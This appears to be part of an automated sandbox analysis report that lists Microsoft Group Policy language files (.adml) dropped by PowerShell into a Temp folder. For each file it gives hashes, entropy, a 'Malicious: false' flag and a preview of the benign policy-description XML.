SHA-512:	C42670FA053734C1B909FBB1AE189D4ACF72B290679C1564D78276022BDF0AFD279558C608F00953325E5AEE47EB93DF35C5AFDBB29F698E5C8F808610DB5055
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. Copyright (C) Microsoft. All rights reserved. -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. displayName and description are not used. Not supported by current Group Policy tools. -->.. <displayName>Appx Package Manager</displayName> .. <description>Appx Package Manager</description>.. <resources>.. <stringTable>.. <string id="AppxDeployment">App Package Deployment</string>.. <string id="AppxDeploymentAllowAllTrustedApps">Allow all trusted apps to install</string>.. <string id="AppxDeploymentAllowAllTrustedAppsExplanation">This policy setting allows you to manage the installation of trusted line-of-business (LOB) Windows Store apps.....If you enable this policy setting, you can install any LOB Windows Store app (which m

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\AttachmentManager.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (564), with CRLF line terminators
Category:	dropped
Size (bytes):	9845
Entropy (8bit):	4.7103779388766025
Encrypted:	false
SSDEEP:	96:LeD5pmiPXXvXd0GkXgueX0dX0LhTW9jS+9FMDPaSPL9DVH60XZgn9ZE60Y2IHm0s:EZHvmQ/WXtyPHPLuV3HmEPdHK
MD5:	156ADEBCA5CD43E0D849F921B26594C3
SHA1:	0DCDA3A3C5CDB824D7FAE9FD2D52638DE6BAC841
SHA-256:	6974AEBDCB65AB63DECD224D3C060F0AFCA11E00C781657EAD44F64073094BF8
SHA-512:	32DC4890719AAEBC7CB5A088EF7C4FD7A86207C36E76C0FA60584E3DF0687C2DF297CBF82750885BCD42542700BD0D14011D57D9CED9FC32E582F70061C68013
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AM_AM">Attachment Manager</string>.. <string id="AM_CallIOfficeAntiVirus">Notify antivirus programs when opening attachments</string>.. <string id="AM_EstimateFileHandlerRisk">Trust logic for file attachments</string>.. <string id="AM_ExplainCallIOfficeAntiVirus">This policy setting allows you to manage the behavior for notifying registered antivirus programs. If multiple programs are registered, they will all be notified. If the registered antivirus program already performs on-access checks or scans

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\AuditSettings.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (369), with CRLF line terminators
Category:	dropped
Size (bytes):	1846
Entropy (8bit):	4.78689414618934
Encrypted:	false
SSDEEP:	48:cgeD5x8gmsYLytG4rpdfUMo5mvS3bHpWdPV:LeD5pmvWvp+5wwWNV
MD5:	71075FCE08402095AEAFBE57962A1F5B
SHA1:	F76FAE255AA5454217FE973C4A8035EC9005B923
SHA-256:	6928FAAD9624BBF4C74F6C138496A4C6AE8D04919C3DE9591568300C1DD39E59
SHA-512:	9DF7480E584B16D1B504E2503B3C4C8422EFC2FA37D9A4ACEB8A7AEA0561C0D73E8E73CB21FEA20C6EC3BBBCB715C155EFDA7B8E38B7B448BCDA5DB10D773DE4
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Audit Process Creation</displayName>.. <description>Configuration settings for auditing process creation.</description>.. <resources>.. <stringTable>.. <string id="AuditSettings">Audit Process Creation</string>.. <string id="IncludeCmdLine">Include command line in process creation events</string>.. <string id="IncludeCmdLine_explain">This policy setting determines what information is logged in security audit events when a new process has been created.....This setting only applies when the Audit Process Creation policy is enabled. If you enable this policy setting the command line information for every process will be logged in plain tex

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\AutoPlay.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4884
Entropy (8bit):	4.732776627339853
Encrypted:	false
SSDEEP:	96:LeD5pmCRsKp7RqiPKhB3a1jejcM64iVDJaqV:ELRRp74a1AbodJ7
MD5:	935C602DAD3F4335BD16C269E66DBFAA
SHA1:	3DF4DC6D55AF20F0593D807FB4FDEFB23CC3355A
SHA-256:	8773998440C8D534FA69833174D05D09088F07E6E5C0E41D7C04A229C7903879
SHA-512:	05ABFFC0CE836F7438BC711A9D2B5CEB8F3F1C48BE2AC9C1A91D286AED6FC4C8D740AE802DCD2CC65D066972DC8DAA84AD8A10FA775D66CB5F3DE34688D975EC
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AutoPlay">AutoPlay Policies</string>.. <string id="AutoPlay_Help">Configure various AutoPlay behaviors.</string>.. <string id="NoAutorun">Set the default behavior for AutoRun</string>.. <string id="NoAutorun_Help">This policy setting sets the default behavior for Autorun commands..... Autorun commands are generally stored in autorun.inf files. They often launch the installation program or other routines..... Prior to Windows Vista, when media containing an autorun command is inserte

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Biometrics.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (381), with CRLF line terminators
Category:	dropped
Size (bytes):	4309
Entropy (8bit):	4.706598922443907
Encrypted:	false
SSDEEP:	96:oD5pmJFp5A8M9DIn0C3ppMdiD+BukevPCRTqCV:+Mp5lM9M3ppUiC2vPClP
MD5:	C32F834C78DC4DB3C12084AB5115E4A5
SHA1:	BE211306E8BA801EDD43E68E28F98947354A35BC
SHA-256:	4222D7C39B72F570C01F76EE084278BD32619D039F197A1AAE0B508C4E2CAF32
SHA-512:	2551575C490A8B4C36FD0E44B4E7C27693DF94C74715BC0F242BE2F947AE2AF097D574AC1823F3ACC71E8D69C17D6257192AAB1255B25C3122F4196C10B9F674
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2008 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Biometrics Configuration Settings</displayName>.. <description>Biometrics Configuration Settings</description>.. <resources>.. <stringTable>.. <string id="BiometricsConfiguration">Biometrics</string>.. <string id="Biometrics_EnableBio">Allow the use of biometrics</string>.. <string id="Biometrics_EnableBio_Help">This policy setting allows or prevents the Windows Biometric Service to run on this computer... ..If you enable or do not configure this policy setting, the Windows Biometric Service is available, and users can run applications that use biometrics on Windows. If you want to enable the ability to log on with biometrics, yo

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Bits.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (534), with CRLF line terminators
Category:	dropped
Size (bytes):	32159
Entropy (8bit):	4.887654356231583
Encrypted:	false
SSDEEP:	768:Uw9+2pWqx80t3lMsQAZ5nV7smu7CQ62TDw4p2L:H+2Lx8Q3lLB+wx
MD5:	F6E746CD330A73B928C14770D9645BD0
SHA1:	7EDED72EB36035A93AF3943B6F5F330082307968
SHA-256:	80D730B14BBB66B29360C108C8A57E09AA33E57DC1C9EAFFCAD5D66B3EF98C31
SHA-512:	6295E9062941DAEDCF4BF3E5BEBA03010AFDE880F43E95052DBCE3FDB485C92C73B0CB57E9374F691C79FA43044CFCBBDB92CDE189E1C3AFF90024B19B525F1E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.2" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. Supported Platforms -->.. <string id="SUPPORTED_WindowsXPSP2WindowsNETSP1orBITS20">Windows XP SP2 or Windows Server 2003 SP1, or computers with BITS 2.0 installed.</string>.. <string id="SUPPORTED_WindowsXPWindowsNETorBITS15">Windows XP or Windows Server 2003, or computers with BITS 1.5 installed.</string>.. <string id="SUPPORTED_Windows7OrBITS35">Windows 7 or computers with BITS 3.5 installed.</string>.. <string id="SUPPORTED_Windows8OrBITS5">Windows 8 or Windows Server 2012 or Windows RT or computers

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\CEIPEnable.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1949
Entropy (8bit):	4.91759301234844
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yMPs9IsKiz+d9Wz+fWz+MJe4UNr2ce4u5qHLuB1XR0r:cgeD5x8gm8fKfiI9W+WwUzqG1XGPV
MD5:	CB1E5DCF00DD4AA26834F7F02EA4AA0E
SHA1:	EAEBB6A75FE6AEEC3AFE914DF9DAD9BCB08702C1
SHA-256:	7651F59A99180721F39B02391BB51D382B39DBCD15E3E2245B10778B7A8A5D95
SHA-512:	BC84BD30E99735495803360F061088334736CAF9D7AE1C5FAD9C484D949991F09C59D6FB818DE35F6328E94FEDD63C2C6D80D63ACDF616BF936762CBF656AE3A
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="WindowsCEIPCat">Windows Customer Experience Improvement Program</string>.. <string id="CorporateSQM">Allow Corporate redirection of Customer Experience Improvement uploads</string>.. <string id="CorporateSQMExp">If you enable this setting all Customer Experience Improvement Program uploads are redirected to Microsoft Operations Manager server.....If you disable this setting uploads are not redirected to a Microsoft Operations Manager server.....If you do not configure this setting uploads are not redirect

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\COM.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1670
Entropy (8bit):	4.895822032017801
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yr7g9f8rbcFCv/9g4+4R4ldQ8o9+YPb+aDDWFV:cgeD5x8gm8fKN2fcFC2u47QxQ3aDDWFV
MD5:	33757EAC0441251ACE18BD74FF8E2BD0
SHA1:	B9DBC0B240CF803AFACB5D8D9AD26E39B757B04B
SHA-256:	44FA3B1E818EF70305AD41012D78CF140851EC0949D4F2457F60C295E31C8EDC
SHA-512:	5FB7BD40C37EAB269C7E9CF72EFB29D6A6A2EF76DB29DADD628866143A15FCEE46C865BE54C66D7C6ADE13766FF1A3028912BDF8BE05F1A6CD69D254431180C2
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AppMgmt_COM_SearchForCLSID">Download missing COM components</string>.. <string id="AppMgmt_COM_SearchForCLSID_Help">This policy setting directs the system to search Active Directory for missing Component Object Model (COM) components that a program requires.....Many Windows programs, such as the MMC snap-ins, use the interfaces provided by the COM components. These programs cannot perform all their functions unless Windows has internally registered the required components.....If you enable this policy setting

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\CipherSuiteOrder.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (1488), with CRLF line terminators
Category:	dropped
Size (bytes):	6011
Entropy (8bit):	5.030765177000099
Encrypted:	false
SSDEEP:	96:LeD5pmTKr0l1CSYNTV5vDiUFO3q6fWbKldN6joV:EqMRbaW+HN6c
MD5:	F7E00A4ABE6853A853D65FB722604674
SHA1:	9CFD9B20C60FB7024F91A7902D84182081427D7F
SHA-256:	4E01B6A54C1B3933D33645729AF7F69E50D687C37DB985A924917E6F8ACAB15B
SHA-512:	2ADAC9CDA13B12F0C2B2F7E9C9B943B50BE9A217FB32B486F783A5D842A820F2F2928E5336DE6E4FCA4B5CD9FC4F2D7FAA09F6C8285550CA7B3BD19E0CE4CA8B
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="SSLConfiguration">SSL Configuration Settings</string>.. <string id="SSLCipherSuiteOrder">SSL Cipher Suite Order</string>.. <string id="SSLCipherSuiteOrder_Help">This policy setting determines the cipher suites used by the Secure Socket Layer (SSL)..... If you enable this policy setting, SSL cipher suites are prioritized in the order specified..... If you disable or do not configure this policy setting, the factory default cipher suite order is used..... SSL2, SSL3, TLS 1.0 and T

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Conf.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	10980
Entropy (8bit):	4.778547657476326
Encrypted:	false
SSDEEP:	96:LeD5pmrrC2ZHEU5p5a4LH/+3SenetLKZHtpeL3DKTGbpKPKryy6JI5oyvr5UV:ESrC2RlFagcSenetKZHtOzrKPKrB5xj+
MD5:	797657FCFBC025F92F896B0095D1F6E4
SHA1:	F357F8B9A9671F711EAE5BEB7759A2EF73B953E9
SHA-256:	032F6BB5FBA082CA24EA70F6CBDC25E913FD43B68A44582AB30AEB29509FC2ED
SHA-512:	9C90FEE9737A7F66CD50B43C30A2BA05DC861A76618612DC744F7075D3296DDE577589060D3CC5779E44CA14ADD42502420DCDF9A68825817795FC89418847DD
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AllowPersistAutoAcceptCalls">Allow persisting automatic acceptance of Calls</string>.. <string id="AllowPersistAutoAcceptCalls_Help">Make the automatic acceptance of incoming calls persistent.</string>.. <string id="AppSharing">Application Sharing</string>.. <string id="AudioVideo">Audio & Video</string>.. <string id="DisableAdvCallingButton">Disable the Advanced Calling button</string>.. <string id="DisableAdvCallingButton_Help">Disables the Advanced Calling button on the General Optio

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\ControlPanel.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (545), with CRLF line terminators
Category:	dropped
Size (bytes):	6210
Entropy (8bit):	4.659729688008146
Encrypted:	false
SSDEEP:	96:LeD5pm0xrbTb9qSrboXpqjKq+F6TzGQ5wtt1cvWebgbPWLSrbTpKb9LbpqjKm+xN:EXx19axpuN52t16W7WW7p4Xxt49tY
MD5:	02F20EFB8F224DE1BECE4FA4FADF1442
SHA1:	16091D04A7A93CC21A3935841D1F30C643C2A782
SHA-256:	2D07C5B7079ED696AA73A4806A1B1FEB2863B6A579033EF1F0A10E3D5D5E5FBC
SHA-512:	D7239C57FA747F36C770D68BBDF31354A9C53D7A7AA3530CE7367FE612CE04B903142CDBBFCBAC11098D47E00D58B0C6620EF18CE324AD9933CBEB0FB5B6D15D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DisallowCpls">Hide specified Control Panel items</string>.. <string id="DisallowCpls_Help">This setting allows you to display or hide specified Control Panel items, such as Mouse, System, or Personalization, from the Control Panel window and the Start screen. The setting affects the Start screen and Control Panel window, as well as other ways to access Control Panel items, such as shortcuts in Help and Support or command lines that use control.exe. This policy has no effect on items displayed in PC settings...

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\ControlPanelDisplay.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (334), with CRLF line terminators
Category:	dropped
Size (bytes):	21011
Entropy (8bit):	4.7324938774717955
Encrypted:	false
SSDEEP:	384:VfRyKGkSDgF+vXDtchtrWzsbHX92eLb2vB1E4RRN9:VfRXTCrvXDWrWziN2ZvB1fRX
MD5:	61CB7046C23A14515C58521DAD36AB6F
SHA1:	62EC7A88975656944FD8CA72924A916336112465
SHA-256:	A4F9A17502E8ABA9E82C5C324CBED40E109A565CA2E27B3D79389F1A595B3CCD
SHA-512:	13473DEADE6477440D9515C9FC6BABECDB59FE9A806633B003B14E71EC6E762DD9E13A9BFD1DFED554D7CA6A664B3C1EF0CEB7C8278F22CC0E0EEB793E697C1F
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Display">Display</string>.. <string id="CPL_Display_Disable">Disable the Display Control Panel</string>.. <string id="CPL_Display_Disable_Help">Disables the Display Control Panel.....If you enable this setting, the Display Control Panel does not run. When users try to start Display, a message appears explaining that a setting prevents the action.....Also, see the "Prohibit access to the Control Panel" (User Configuration\Administrative Templates\Control Panel) and "Remove programs on Settings menu" (User Configuration\Administrative Templates\Star

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Cpls.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1585
Entropy (8bit):	4.924174965870825
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yEBWNvHjWy8XGkjR7S2kjeRqZ+RguJb+RguJM6dGQEn:cgeD5x8gm8fKlBWN7WyeOuJ3uJv3EFV
MD5:	3A236D3ED9A6EAE336DE47BD71132D58
SHA1:	621C59891B91951F2E863EEFEA2D8310FB5125E3
SHA-256:	EF075F5436A4117C29F2D6689A8ED6ACC3BA22EAFBDEEA20C2349DBA5CFE1F33
SHA-512:	862AABB60EFFAC016188CF56BB6EC48F7E4F6847B4A1A4A525C1FD93DAA0269E0CB02DC8362F5B3029F817D1096B8C5BB48FA1717FE4084E2A99CDE13A3CE573
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Users">User Accounts</string>.. <string id="Users_Help">Contains settings to control the behavior of User Accounts</string>.. <string id="UseDefaultTile">Apply the default account picture to all users</string>.. <string id="UseDefaultTile_Help">This policy setting allows an administrator to standardize the account pictures for all users on a system to the default account picture. One application for this policy setting is to standardize the account pictures to a company logo.....Note: The default acc

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\CredSsp.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (369), with CRLF line terminators
Category:	dropped
Size (bytes):	20162
Entropy (8bit):	4.80118154121946
Encrypted:	false
SSDEEP:	192:EYLfqDwf4tdJ11wpL9uiansm9cjoOkfmW/MQfB:9qtVPaxu5mUTOYJ
MD5:	3F887766536AE5C7677E841C9A1E86F6
SHA1:	C3BFB966D06DF84A5BD9FCDD9C0CAF23A4F85B28
SHA-256:	91A36F497D459EF96B4CEDB88EE0884651D8B5C0EABCE1C1F4FEC6D49FF71A31
SHA-512:	7777FF19B4B1108A2688D02F25AC69E3F66D87F44A42AD60596B447188728B231E148E67390B39B7CBCF62E83121ECB55A84CB3D72A55827C0489FADABA5469C
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AllowDefaultCredentials">Allow delegating default credentials</string>.. <string id="AllowDefaultCredentials_Explain">This policy setting applies to applications using the Cred SSP component (for example: Remote Desktop Connection).....This policy setting applies when server authentication was achieved by using a trusted X509 certificate or Kerberos.....If you enable this policy setting, you can specify the servers to which the user's default credentials can be delegated (default credentials are those that you

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\CredUI.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	3126
Entropy (8bit):	4.730467503379261
Encrypted:	false
SSDEEP:	96:LeD5pmUes8vc8gDcwFalisWNFIXwN30M5vYFV:Etes8vc8gowUAvIXwN30M5vYn
MD5:	1C00F0E54B646BACA8571FC0B7BE9582
SHA1:	0494D0849B95970D96E480C9B00C3694E4D50029
SHA-256:	625371BBA40530A9A4A88E167B4870634F7583BB601D16954ED8FF4A0E5242E9
SHA-512:	99A2B51A6ADDF470B15DFDC2D3D32CA305113C427CDF7C3B85FD3BD43F17B989B5BEA38BA78821DA5A8978437DD3E484CCB283D9B01B737C05C4B7D82288D749
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="CredUI">Credential User Interface</string>.. <string id="CredUI_Help">Contains settings to control the behavior of credential collection.</string>.. <string id="EnumerateAdministrators">Enumerate administrator accounts on elevation</string>.. <string id="EnumerateAdministrators_Help">This policy setting controls whether administrator accounts are displayed when a user attempts to elevate a running application. By default, administrator accounts are not displayed when the user attempts to elevate a ru

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\CredentialProviders.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (479), with CRLF line terminators
Category:	dropped
Size (bytes):	5460
Entropy (8bit):	4.757258895669925
Encrypted:	false
SSDEEP:	96:LeD5pmAznn5XkKkcx1ftU6beY3rqFimzWSsdK/l+3yY8V:Ejznn5XkJcx1fdPrqFOXU/loyb
MD5:	B735FF00BD6511F0525C74881042CFBF
SHA1:	F9540A99E5654EA5F6B7AAF49CE35F591CEC2863
SHA-256:	FF1B853B846EA63064AD460B42C44230DE008297B6A2DDB8DAA48991A5684C14
SHA-512:	A585AE89C4B13A6A2DE50D414069FE40D3DB53395A4E79B5865B530ACC6963B2C89647D2735B27229503B58BAC47B4C43B38E6E2BEB00B81EC6F1D76DB441C06
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DefaultLogonDomain">Assign a default domain for logon</string>.. <string id="DefaultLogonDomain_Help">This policy setting specifies a default logon domain, which might be a different domain than the domain to which the computer is joined. Without this policy setting, at logon, if a user does not specify a domain for logon, the domain to which the computer belongs is assumed as the default domain. For example if the computer belongs to the Fabrikam domain, the default domain for user logon is Fabrikam. ....If y

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\CtrlAltDel.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (353), with CRLF line terminators
Category:	dropped
Size (bytes):	3490
Entropy (8bit):	4.799993012083926
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKwZJBaoC9DxBboMEBar+Nc456uFDPrJNBFiy4jyDznyHSMrmdzcFV:LeD5pm8ZJjQDxXONcOXNB9HyHbrvFV
MD5:	8EB6CBECFCFB7FB15E453E235713F0D2
SHA1:	37170BA6139BD471C4121ED7747E8C9544E64E4A
SHA-256:	23EAF2144B343ACCE5EC33DFB0363BA5B53E1ED8F5E0557F7597F02C1A659B0C
SHA-512:	F3B96C2721592E9C5CD8CAF20DACCAE170B46BDBBBD24D4A6D1ACC3CA3D10BFA9AC23DA2B5B3F9CF7D9F7918236C1C686918BB392595C634E97B56070AEDE007
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="CADOptions">Ctrl+Alt+Del Options</string>.. <string id="DisableChangePassword">Remove Change Password</string>.. <string id="DisableChangePassword_Help">This policy setting prevents users from changing their Windows password on demand.....If you enable this policy setting, the 'Change Password' button on the Windows Security dialog box will not appear when you press Ctrl+Alt+Del.....However, users are still able to change their password when prompted by the system. The system prompts users for a new pass

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\DCOM.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (507), with CRLF line terminators
Category:	dropped
Size (bytes):	5072
Entropy (8bit):	4.789995597871682
Encrypted:	false
SSDEEP:	96:LeD5pmc4qzQuQ+kCO+QW9JvqIiErBAqHPkGitHqEJw2mL8ykL3/NBV:El4qE9+kCOtW9dqIiErBAgPk/tKEJw2D
MD5:	7DF9E61D5F72660A48741A9D1AE6DF2A
SHA1:	A623BD2021EAA8863519E110E2C4D141D68E6DEE
SHA-256:	BD0E69BF353115E23B4344875DA15DF78BD4ADF676EEAB35AED30A21C129EBED
SHA-512:	726FC2BD5444E1791811C9F39B3B535D155AA0BA2AC8B50F7A8B6FAF48E7BEDBD542C96C701A1CD58B1C89B89DA04D9C175E9CCDE70DA27C92E073E570138DD1
Malicious:	false
